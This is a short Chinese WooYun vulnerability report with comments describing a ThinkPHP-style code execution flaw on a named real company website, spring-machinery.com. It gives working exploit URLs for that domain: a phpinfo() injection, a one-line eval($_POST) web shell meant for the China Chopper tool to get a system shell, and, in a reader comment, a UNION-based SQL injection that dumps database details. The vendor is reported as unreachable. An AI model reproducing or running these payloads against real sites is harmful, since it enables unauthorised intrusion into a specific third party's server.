众为兴任意代码执行漏洞

1.输入一下URL：

http://www.spring-machinery.com/ru/index.php/module/aciton/param1/$%7B@phpinfo()%7D

可以查看到PHP信息

2.直接一句话http://www.spring-machinery.com/ru/index.php/module/aciton/param1/{${eval($_POST[mad])}}，上菜刀，然后你就懂得了

1.

2.进入命令行界面

3.查看系统文件目录

打补丁，你懂得

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

1. 2016-05-13 17:48 | U神 ( 核心白帽子 | Rank:1375 漏洞数:153 | 乌云核心菜鸟，此号长期由联盟托管，如果近...)

   1

   http://www.spring-machinery.com/ru/index.php/Product/viewone/id/-12 UNION SELECT 1,2,version(),4,5,6,7,user(),database(),10

   1# 回复此人

2. 2016-05-14 16:25 | 仰望 ( 路人 | Rank:8 漏洞数:6 | 本人很懒，没有留下任何！)

   0

   这不是thinkphp框架？

   2# 回复此人